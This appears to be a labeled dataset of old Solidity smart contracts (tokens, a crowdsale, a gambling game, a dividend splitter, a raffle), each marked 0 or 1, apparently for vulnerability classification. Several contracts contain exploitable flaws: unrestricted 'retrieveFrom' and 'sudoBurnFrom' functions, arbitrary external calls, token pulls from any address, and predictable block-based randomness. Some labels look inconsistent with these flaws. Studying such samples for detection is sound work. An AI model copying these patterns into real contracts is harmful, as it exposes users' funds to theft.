require(beneficiary != 0x0); require(validPurchase()); require(msg.value >= 0.05 ether); uint256 weiAmount = msg.value; uint256 updateWeiRaised = weiRaised.add(weiAmount); uint256 rate = getRate(); uint256 tokens = weiAmount.mul(rate); require ( tokens <= token.balanceOf(this)); weiRaised = updateWeiRaised; token.transfer(beneficiary, tokens); tokensSold = tokensSold.add(tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function hasEnded() public view returns (bool) { return now > endTime || tokensSold >= hardCap; } function tokenResend() public onlyOwner { token.transfer(owner, token.balanceOf(this)); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; bool hardCapNotReached = tokensSold < hardCap; return withinPeriod && nonZeroPurchase && hardCapNotReached; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract AllowanceSheet is Claimable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public allowanceOf; function addAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].add(value); } function subAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].sub(value); } function setAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = value; } }
1
pragma solidity ^0.4.24; pragma solidity ^0.4.24; library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private pausers; constructor() public { pausers.add(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return pausers.has(account); } function addPauser(address account) public onlyPauser { pausers.add(account); emit PauserAdded(account); } function renouncePauser() public { pausers.remove(msg.sender); } function _removePauser(address account) internal { pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(); event Unpaused(); bool private _paused = false; function paused() public view returns(bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(_balances[to].add(value) > _balances[to]); require(to != address(0)); uint previousBalances = _balances[from].add(_balances[to]); assert(_balances[from].add(_balances[to]) == previousBalances); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function retrieveFrom( address from, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(_balances[msg.sender].add(value) > _balances[msg.sender]); uint previousBalances = _balances[from].add(_balances[msg.sender]); assert(_balances[from].add(_balances[msg.sender]) == previousBalances); _balances[from] = _balances[from].sub(value); _balances[msg.sender] = _balances[msg.sender].add(value); emit Transfer(from, msg.sender, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { _allowed[msg.sender][_spender] = ( _allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, _allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = _allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { _allowed[msg.sender][_spender] = 0; } else { _allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, _allowed[msg.sender][_spender]); return true; } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function sudoBurnFrom(address from, uint256 value) public { _burn(from, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } function _burn(address who, uint256 value) internal { super._burn(who, value); } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private minters; constructor() internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint( address to, uint256 value ) public onlyMinter returns (bool) { _mint(to, value); return true; } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string) { return _name; } function symbol() public view returns(string) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ERC20Pausable is ERC20, Pausable { function transfer( address to, uint256 value ) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom( address from, address to, uint256 value ) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve( address spender, uint256 value ) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance( address spender, uint addedValue ) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance( address spender, uint subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } contract StandardTokenERC20Custom is ERC20Detailed, ERC20Burnable, ERC20Pausable, ERC20Mintable { using SafeERC20 for ERC20; constructor(string name, string symbol, uint8 decimals, uint256 _totalSupply) ERC20Pausable() ERC20Burnable() ERC20Detailed(name, symbol, decimals) ERC20() public { _mint(msg.sender, _totalSupply * (10 ** uint256(decimals))); addPauser(msg.sender); addMinter(msg.sender); } function approveAndPlayFunc(address _spender, uint _value, string _func) public returns(bool success){ require(_spender != address(this)); require(super.approve(_spender, _value)); require(_spender.call(bytes4(keccak256(string(abi.encodePacked(_func, "(address,uint256)")))), msg.sender, _value)); return true; } } library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require(token.approve(spender, value)); } } contract Ownership { address public owner; event OwnershipTransferred(address previousOwner, address newOwner); function estalishOwnership() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Bank is Ownership { function terminate() public onlyOwner { selfdestruct(owner); } function withdraw(uint amount) payable public onlyOwner { if(!owner.send(amount)) revert(); } function depositSpecificAmount(uint _deposit) payable public onlyOwner { require(msg.value == _deposit); } function deposit() payable public onlyOwner { require(msg.value > 0); } } contract LuckyBar is Bank { struct record { uint[5] date; uint[5] amount; address[5] account; } struct pair { uint256 maxBet; uint256 minBet; uint256 houseEdge; uint256 reward; bool bEnabled; record ranking; record latest; } pair public sE2E; pair public sE2C; pair public sC2E; pair public sC2C; uint256 public E2C_Ratio; uint256 private salt; IERC20 private token; StandardTokenERC20Custom private chip; address public manager; event Won(bool _status, string _rewardType, uint _amount); event Swapped(string _target, uint _amount); constructor() payable public { estalishOwnership(); setProperties("thisissaltIneedtomakearandomnumber", 100000); setToken(0x0bfd1945683489253e401485c6bbb2cfaedca313); setChip(0x27a88bfb581d4c68b0fb830ee4a493da94dcc86c); setGameMinBet(100e18, 0.1 ether, 100e18, 0.1 ether); setGameMaxBet(10000000e18, 1 ether, 100000e18, 1 ether); setGameFee(1,0,5,5); enableGame(true, true, false, true); setReward(0,5000,0,5000); manager = owner; } function getRecordsE2E() public view returns(uint[5], uint[5], address[5],uint[5], uint[5], address[5]) { return (sE2E.ranking.date,sE2E.ranking.amount,sE2E.ranking.account, sE2E.latest.date,sE2E.latest.amount,sE2E.latest.account); } function getRecordsE2C() public view returns(uint[5], uint[5], address[5],uint[5], uint[5], address[5]) { return (sE2C.ranking.date,sE2C.ranking.amount,sE2C.ranking.account, sE2C.latest.date,sE2C.latest.amount,sE2C.latest.account); } function getRecordsC2E() public view returns(uint[5], uint[5], address[5],uint[5], uint[5], address[5]) { return (sC2E.ranking.date,sC2E.ranking.amount,sC2E.ranking.account, sC2E.latest.date,sC2E.latest.amount,sC2E.latest.account); } function getRecordsC2C() public view returns(uint[5], uint[5], address[5],uint[5], uint[5], address[5]) { return (sC2C.ranking.date,sC2C.ranking.amount,sC2C.ranking.account, sC2C.latest.date,sC2C.latest.amount,sC2C .latest.account); } function emptyRecordsE2E() public onlyOwner { for(uint i=0;i<5;i++) { sE2E.ranking.amount[i] = 0; sE2E.ranking.date[i] = 0; sE2E.ranking.account[i] = 0x0; sE2E.latest.amount[i] = 0; sE2E.latest.date[i] = 0; sE2E.latest.account[i] = 0x0; } } function emptyRecordsE2C() public onlyOwner { for(uint i=0;i<5;i++) { sE2C.ranking.amount[i] = 0; sE2C.ranking.date[i] = 0; sE2C.ranking.account[i] = 0x0; sE2C.latest.amount[i] = 0; sE2C.latest.date[i] = 0; sE2C.latest.account[i] = 0x0; } } function emptyRecordsC2E() public onlyOwner { for(uint i=0;i<5;i++) { sC2E.ranking.amount[i] = 0; sC2E.ranking.date[i] = 0; sC2E.ranking.account[i] = 0x0; sC2E.latest.amount[i] = 0; sC2E.latest.date[i] = 0; sC2E.latest.account[i] = 0x0; } } function emptyRecordsC2C() public onlyOwner { for(uint i=0;i<5;i++) { sC2C.ranking.amount[i] = 0; sC2C.ranking.date[i] = 0; sC2C.ranking.account[i] = 0x0; sC2C.latest.amount[i] = 0; sC2C.latest.date[i] = 0; sC2C.latest.account[i] = 0x0; } } function setReward(uint256 C2C, uint256 E2C, uint256 C2E, uint256 E2E) public onlyOwner { sC2C.reward = C2C; sE2C.reward = E2C; sC2E.reward = C2E; sE2E.reward = E2E; } function enableGame(bool C2C, bool E2C, bool C2E, bool E2E) public onlyOwner { sC2C.bEnabled = C2C; sE2C.bEnabled = E2C; sC2E.bEnabled = C2E; sE2E.bEnabled = E2E; } function setGameFee(uint256 C2C, uint256 E2C, uint256 C2E, uint256 E2E) public onlyOwner { sC2C.houseEdge = C2C; sE2C.houseEdge = E2C; sC2E.houseEdge = C2E; sE2E.houseEdge = E2E; } function setGameMaxBet(uint256 C2C, uint256 E2C, uint256 C2E, uint256 E2E) public onlyOwner { sC2C.maxBet = C2C; sE2C.maxBet = E2C; sC2E.maxBet = C2E; sE2E.maxBet = E2E; } function setGameMinBet(uint256 C2C, uint256 E2C, uint256 C2E, uint256 E2E) public onlyOwner { sC2C.minBet = C2C; sE2C.minBet = E2C; sC2E.minBet = C2E; sE2E.minBet = E2E; } function setToken(address _token) public onlyOwner { token = IERC20(_token); } function setChip(address _chip) public onlyOwner { chip = StandardTokenERC20Custom(_chip); } function setManager(address _manager) public onlyOwner { manager = _manager; } function setProperties(string _salt, uint _E2C_Ratio) public onlyOwner { require(_E2C_Ratio > 0); salt = uint(keccak256(_salt)); E2C_Ratio = _E2C_Ratio; } function() public { revert(); } function swapC2T(address _from, uint256 _value) payable public { require(chip.transferFrom(_from, manager, _value)); require(token.transferFrom(manager, _from, _value)); emit Swapped("TOKA", _value); } function swapT2C(address _from, uint256 _value) payable public { require(token.transferFrom(_from, manager, _value)); require(chip.transferFrom(manager, _from, _value)); emit Swapped("CHIP", _value); } function playC2C(address _from, uint256 _value) payable public { require(sC2C.bEnabled); require(_value >= sC2C.minBet && _value <= sC2C.maxBet); require(chip.transferFrom(_from, manager, _value)); uint256 amountWon = _value * (50 + uint256(keccak256(block.timestamp, block.difficulty, salt++)) % 100 - sC2C.houseEdge) / 100; require(chip.transferFrom(manager, _from, amountWon + _value * sC2C.reward)); for(uint i=0;i<5;i++) { if(sC2C.ranking.amount[i] < amountWon) { for(uint j=4;j>i;j--) { sC2C.ranking.amount[j] = sC2C.ranking.amount[j-1]; sC2C.ranking.date[j] = sC2C.ranking.date[j-1]; sC2C.ranking.account[j] = sC2C.ranking.account[j-1]; } sC2C.ranking.amount[i] = amountWon; sC2C.ranking.date[i] = now; sC2C.ranking.account[i] = _from; break; } } for(i=4;i>0;i--) { sC2C.latest.amount[i] = sC2C.latest.amount[i-1]; sC2C.latest.date[i] = sC2C.latest.date[i-1]; sC2C.latest.account[i] = sC2C.latest.account[i-1]; } sC2C.latest.amount[0] = amountWon; sC2C.latest.date[0] = now; sC2C.latest.account[0] = _from; emit Won(amountWon > _value, "CHIP", amountWon); } function playC2E(address _from, uint256 _value) payable public { require(sC2E.bEnabled); require(_value >= sC2E.minBet && _value <= sC2E.maxBet); require(chip.transferFrom(_from, manager, _value)); uint256 amountWon = _value * (50 + uint256(keccak256(block.timestamp, block.difficulty, salt++)) % 100 - sC2E.houseEdge) / 100 / E2C_Ratio; require(_from.send(amountWon)); for(uint i=0;i<5;i++) { if(sC2E.ranking.amount[i] < amountWon) { for(uint j=4;j>i;j--) { sC2E.ranking.amount[j] = sC2E.ranking.amount[j-1]; sC2E.ranking.date[j] = sC2E.ranking.date[j-1]; sC2E.ranking.account[j] = sC2E.ranking.account[j-1]; } sC2E.ranking.amount[i] = amountWon; sC2E.ranking.date[i] = now; sC2E.ranking.account[i] = _from; break; } } for(i=4;i>0;i--) { sC2E.latest.amount[i] = sC2E.latest.amount[i-1]; sC2E.latest.date[i] = sC2E.latest.date[i-1]; sC2E.latest.account[i] = sC2E.latest.account[i-1]; } sC2E.latest.amount[0] = amountWon; sC2E.latest.date[0] = now; sC2E.latest.account[0] = _from; emit Won(amountWon > (_value / E2C_Ratio), "ETH", amountWon); } function playE2E() payable public { require(sE2E.bEnabled); require(msg.value >= sE2E.minBet && msg.value <= sE2E.maxBet); uint amountWon = msg.value * (50 + uint(keccak256(block.timestamp, block.difficulty, salt++)) % 100 - sE2E.houseEdge) / 100; require(msg.sender.send(amountWon)); require(chip.transferFrom(manager, msg.sender, msg.value * sE2E.reward)); for(uint i=0;i<5;i++) { if(sE2E.ranking.amount[i] < amountWon) { for(uint j=4;j>i;j--) { sE2E.ranking.amount[j] = sE2E.ranking.amount[j-1]; sE2E.ranking.date[j] = sE2E.ranking.date[j-1]; sE2E.ranking.account[j] = sE2E.ranking.account[j-1]; } sE2E.ranking.amount[i] = amountWon; sE2E.ranking.date[i] = now; sE2E.ranking.account[i] = msg.sender; break; } } for(i=4;i>0;i--) { sE2E.latest.amount[i] = sE2E.latest.amount[i-1]; sE2E.latest.date[i] = sE2E.latest.date[i-1]; sE2E.latest.account[i] = sE2E.latest.account[i-1]; } sE2E.latest.amount[0] = amountWon; sE2E.latest.date[0] = now; sE2E.latest.account[0] = msg.sender; emit Won(amountWon > msg.value, "ETH", amountWon); } function playE2C() payable public { require(sE2C.bEnabled); require(msg.value >= sE2C.minBet && msg.value <= sE2C.maxBet); uint amountWon = msg.value * (50 + uint(keccak256(block.timestamp, block.difficulty, salt++)) % 100 - sE2C.houseEdge) / 100 * E2C_Ratio; require(chip.transferFrom(manager, msg.sender, amountWon)); require(chip.transferFrom(manager, msg.sender, msg.value * sE2C.reward)); for(uint i=0;i<5;i++) { if(sE2C.ranking.amount[i] < amountWon) { for(uint j=4;j>i;j--) { sE2C.ranking.amount[j] = sE2C.ranking.amount[j-1]; sE2C.ranking.date[j] = sE2C.ranking.date[j-1]; sE2C.ranking.account[j] = sE2C.ranking.account[j-1]; } sE2C.ranking.amount[i] = amountWon; sE2C.ranking.date[i] = now; sE2C.ranking.account[i] = msg.sender; break; } } for(i=4;i>0;i--) { sE2C.latest.amount[i] = sE2C.latest.amount[i-1]; sE2C.latest.date[i] = sE2C.latest.date[i-1]; sE2C.latest.account[i] = sE2C.latest.account[i-1]; } sE2C.latest.amount[0] = amountWon; sE2C.latest.date[0] = now; sE2C.latest.account[0] = msg.sender; emit Won(amountWon > (msg.value * E2C_Ratio), "CHIP", amountWon); } function checkContractBalance() onlyOwner public view returns(uint) { return address(this).balance; } function checkContractBalanceToka() onlyOwner public view returns(uint) { return token.balanceOf(manager); } function checkContractBalanceChip() onlyOwner public view returns(uint) { return chip.balanceOf(manager); } }
0
pragma solidity ^0.4.22; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract HoldersList is Ownable{ uint256 public _totalTokens; struct TokenHolder { uint256 balance; uint regTime; bool isValue; } mapping(address => TokenHolder) holders; address[] public payees; function changeBalance(address _who, uint _amount) public onlyOwner { holders[_who].balance = _amount; if (notInArray(_who)){ payees.push(_who); holders[_who].regTime = now; holders[_who].isValue = true; } } function notInArray(address _who) internal view returns (bool) { if (holders[_who].isValue) { return false; } return true; } function setTotal(uint _amount) public onlyOwner { _totalTokens = _amount; } function getTotal() public constant returns (uint) { return _totalTokens; } function returnBalance (address _who) public constant returns (uint){ uint _balance; _balance= holders[_who].balance; return _balance; } function returnPayees () public constant returns (uint){ uint _ammount; _ammount= payees.length; return _ammount; } function returnHolder (uint _num) public constant returns (address){ address _addr; _addr= payees[_num]; return _addr; } function returnRegDate (address _who) public constant returns (uint){ uint _redData; _redData= holders[_who].regTime; return _redData; } } contract Dividend is Ownable { using SafeMath for uint256; uint _totalDivid=0; uint _newDivid=0; uint public _totalTokens; uint pointMultiplier = 10e18; HoldersList list; bool public PaymentFinished = false; address[] payees; struct ETHHolder { uint256 balance; uint balanceUpdateTime; uint rewardWithdrawTime; } mapping(address => ETHHolder) eholders; function returnMyEthBalance (address _who) public constant returns (uint){ uint _eBalance; _eBalance= eholders[_who].balance; return _eBalance; } function returnTotalDividend () public constant returns (uint){ return _totalDivid; } function changeEthBalance(address _who, uint256 _amount) internal { eholders[_who].balanceUpdateTime = now; eholders[_who].balance += _amount; } function setHoldersList(address _holdersList) public onlyOwner { list = HoldersList(_holdersList); } function Withdraw() public returns (bool){ uint _eBalance; address _who; _who = msg.sender; _eBalance= eholders[_who].balance; require(_eBalance>0); eholders[_who].balance = 0; eholders[_who].rewardWithdrawTime = now; _who.transfer(_eBalance); return true; } function finishDividend() onlyOwner public returns (bool) { PaymentFinished = true; return true; } function() external payable { require(PaymentFinished==false); _newDivid= msg.value; _totalDivid += _newDivid; uint _myTokenBalance=0; uint _myRegTime; uint _myEthShare=0; uint256 _length; address _addr; _length=list.returnPayees(); _totalTokens=list.getTotal(); for (uint256 i = 0; i < _length; i++) { _addr =list.returnHolder(i); _myTokenBalance=list.returnBalance(_addr); _myRegTime=list.returnRegDate(_addr); _myEthShare=_myTokenBalance.mul(_newDivid).div(_totalTokens); changeEthBalance(_addr, _myEthShare); } } }
0
pragma solidity ^0.4.0; contract SponsoredItemGooRaffle { Goo goo = Goo(0x57b116da40f21f91aec57329ecb763d29c1b2355); address owner; mapping(address => TicketPurchases) private ticketsBoughtByPlayer; mapping(uint256 => address[]) private rafflePlayers; uint256 private constant RAFFLE_TICKET_BASE_GOO_PRICE = 1000; uint256 private raffleEndTime; uint256 private raffleTicketsBought; uint256 private raffleId; address private raffleWinner; bool private raffleWinningTicketSelected; uint256 private raffleTicketThatWon; struct TicketPurchases { TicketPurchase[] ticketsBought; uint256 numPurchases; uint256 raffleId; } struct TicketPurchase { uint256 startId; uint256 endId; } function SponsoredItemGooRaffle() public { owner = msg.sender; } function startTokenRaffle(uint256 endTime, address tokenContract, uint256 id, bool hasItemAlready) external { require(msg.sender == owner); require(block.timestamp < endTime); if (raffleId != 0) { require(raffleWinner != 0); } raffleWinningTicketSelected = false; raffleTicketThatWon = 0; raffleWinner = 0; raffleTicketsBought = 0; raffleEndTime = endTime; raffleId++; } function buyRaffleTicket(uint256 amount) external { require(raffleEndTime >= block.timestamp); require(amount > 0); uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_GOO_PRICE, amount); goo.transferFrom(msg.sender, this, ticketsCost); goo.transfer(address(0), (ticketsCost * 95) / 100); TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender]; if (purchases.raffleId != raffleId) { purchases.numPurchases = 0; purchases.raffleId = raffleId; rafflePlayers[raffleId].push(msg.sender); } if (purchases.numPurchases == purchases.ticketsBought.length) { purchases.ticketsBought.length += 1; } purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1)); raffleTicketsBought += amount; } function awardRafflePrize(address checkWinner, uint256 checkIndex) external { require(raffleEndTime < block.timestamp); require(raffleWinner == 0); if (!raffleWinningTicketSelected) { drawRandomWinner(); } if (checkWinner != 0) { TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner]; if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleId == raffleId) { TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex]; if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) { assignRaffleWinner(checkWinner); return; } } } for (uint256 i = 0; i < rafflePlayers[raffleId].length; i++) { address player = rafflePlayers[raffleId][i]; TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; uint256 endIndex = playersTickets.numPurchases - 1; if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) { for (uint256 j = 0; j < playersTickets.numPurchases; j++) { TicketPurchase storage playerTicket = playersTickets.ticketsBought[j]; if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) { assignRaffleWinner(player); return; } } } } } function assignRaffleWinner(address winner) internal { raffleWinner = winner; } function drawRandomWinner() public { require(msg.sender == owner); require(raffleEndTime < block.timestamp); require(!raffleWinningTicketSelected); uint256 seed = raffleTicketsBought + block.timestamp; raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, (raffleTicketsBought + 1)); raffleWinningTicketSelected = true; } function transferGoo(address recipient, uint256 amount) external { require(msg.sender == owner); goo.transfer(recipient, amount); } function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) { return (raffleEndTime, raffleId, raffleTicketsBought, raffleWinner, raffleTicketThatWon); } function getRafflePlayers(uint256 raffle) external constant returns (address[]) { return (rafflePlayers[raffle]); } function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) { TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; if (playersTickets.raffleId == raffleId) { uint256[] memory startIds = new uint256[](playersTickets.numPurchases); uint256[] memory endIds = new uint256[](playersTickets.numPurchases); for (uint256 i = 0; i < playersTickets.numPurchases; i++) { startIds[i] = playersTickets.ticketsBought[i].startId; endIds[i] = playersTickets.ticketsBought[i].endId; } } return (startIds, endIds); } } interface Goo { function transfer(address to, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0
pragma solidity ^0.4.18; contract ERC20Interface { function totalSupply() public constant returns (uint256 _totalSupply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract TTC is ERC20Interface { uint256 public constant decimals = 5; string public constant symbol = "TTC"; string public constant name = "TTC"; uint256 public _totalSupply = 10 ** 14; address public owner; mapping(address => uint256) private balances; mapping(address => mapping (address => uint256)) private allowed; mapping(address => bool) private approvedInvestorList; mapping(address => uint256) private deposit; uint256 public totalTokenSold = 0; bool public tradable = false; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } function TTC() public { owner = msg.sender; } function totalSupply() public constant returns (uint256) { return _totalSupply; } function turnOnTradable() public onlyOwner{ tradable = true; } function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } function isApprovedInvestor(address _addr) public constant returns (bool) { return approvedInvestorList[_addr]; } function getDeposit(address _addr) public constant returns(uint256){ return deposit[_addr]; } function transfer(address _to, uint256 _amount) public returns (bool) { if ( (balances[msg.sender] >= _amount) && (_amount >= 0) && (balances[_to] + _amount > balances[_to]) ) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) public returns (bool success) { require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function () public payable{ revert(); } }
1
